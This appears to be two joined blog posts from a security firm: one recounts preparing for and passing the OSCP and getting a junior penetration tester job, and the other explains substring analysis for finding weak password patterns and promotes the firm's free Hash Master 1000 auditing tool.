After three years of studying cybersecurity and gaining some workforce experience, I began preparing for the OSCP. The OSCP is a way to validate your offensive security skills to potential employers. It consists of a 24-hour hands-on penetration testing exam, followed by a written report detailing your findings. Most penetration testing jobs require or strongly prefer this certification, making it a significant milestone in your career.

To prepare, I primarily used HTB and Offensive Security's labs. I frequently referenced TJ Null's list for machines similar to those in the exam environment. If you're preparing for the OSCP, you’ve likely completed several HTB machines and have developed a basic methodology. Since that was the case for me, I focused on pivoting between networks and learning Active Directory exploitation.

Unfortunately, I failed my first attempt. However, I didn’t let that discourage me. I treated it as a learning experience, studied even harder, and refined my approach. By the time I attempted the exam again, I was much more confident and better prepared. This time, I successfully completed all the machines and passed the OSCP.

Landing Your First Role

At this point, it’s only a matter of time before you land your first role. If you have a well-structured resume that clearly outlines your skills and experience, start applying for Junior Penetration Tester positions. The site NinjaJobs is a great place to find cybersecurity job listings.

Once you secure an interview, the best advice I can give is to be yourself and be honest about your experience and skill set. If you are truly passionate about this field, you will eventually land a role. It may take time, but if you continue striving for improvement, it will happen.

A year after obtaining my OSCP, I joined the team at SynerComm as a Junior Penetration Tester. While achieving this goal was a major milestone, I still have many more I want to accomplish. Keep pushing forward, stay curious, and trust that with dedication, you will end up where you need to be. 😁

It’s 2025 and weak passwords remain at the top of most cybersecurity vulnerability lists. While the solution is to replace password-based authentication with something better, this article assumes that most companies are still using passwords. My focus today is on how we can improve current password analysis by improving how we look for password vulnerabilities.

Traditional methods like dictionary word analysis have long been employed to identify weak passwords but they fall short when detecting systematic password creation patterns unique to organizations. I’ll share how the emerging practice of substring analysis is being used as an advanced tool to uncover new patterns, offering deeper insights into password weaknesses.

The Limitations of Dictionary Word Analysis

Dictionary word analysis is a staple in password security, identifying passwords containing words from a predefined list. While effective detecting common and predictable password base-words like "welcome" or “winter”, it has inherent limitations:

• Restricted Scope: Matches only predefined dictionary words, often overlooking subtle or systematic patterns.

• Substitution & Permutation: Misses common substitutions like swapping a zero for an “O” or using leet speak to spell words. It also misses permutations like spelling a word backwards.

• Dictionary Limitations: Requires separate dictionaries for non-English words and misses common words like sports teams, bible verses, proper names, etc.

Despite its utility, dictionary word analysis fails to detect substrings unique to an organization, such as project names, product names or other internal keywords. It also misses common strings that users may use to create passwords, like ending their password with 2025##. There is still great value in performing dictionary word analysis, but there is more analysis that can be done.

The Power of Substring Analysis

Substring analysis addresses these limitations by identifying repeating character sequences in passwords, irrespective of their linguistic meaning. This approach highlights systematic issues, such as:

• Organization-Specific Patterns: Identifying substrings like business unit names, building addresses, project names, code words, acronyms, etc.

• Purposeful Reuse: Detecting repeated substrings even when they lack an obvious meaning. (This is where the most interesting insights are often derived!)

• Case Sensitivity: Allowing both case-sensitive and insensitive analysis for granular insights.

By uncovering these patterns, substring analysis enables organizations to address systematic weaknesses that traditional methods might overlook.

Hash Master 1000: Elevating Password Analysis

SynerComm recently launched Hash Master 1000, a free new tool, that revolutionizes password analysis with its comprehensive features. It supports both dictionary word and substring analysis, offering flexibility and precision in identifying vulnerabilities.

Screenshot of Hash Master 1000’s Substring Analysis

Key Features

• Substring and Dictionary Word Analysis: Provides powerful tools for identifying weak passwords.

• Customizable Analysis Settings: Tailor analysis with options like minimum substring length, frequency thresholds, and case sensitivity.

• Password Policy Compliance Checks: Ensures adherence to organizational password policies.

• Intuitive Reporting: Generates easy-to-read tables, charts, and even export JSON data for further analysis.

Screenshot of Substring Analysis Options

Interested in Learning More?

Substring analysis represents a significant leap forward in password security, uncovering patterns that dictionary word analysis often misses. With tools like Hash Master 1000, cybersecurity professionals can identify and address these systematic weaknesses effectively.

Explore the capabilities of Hash Master 1000 on GitHub and leverage its features to strengthen your organization's password security. For more information about SynerComm's penetration testing and hash assessment services, contact us today.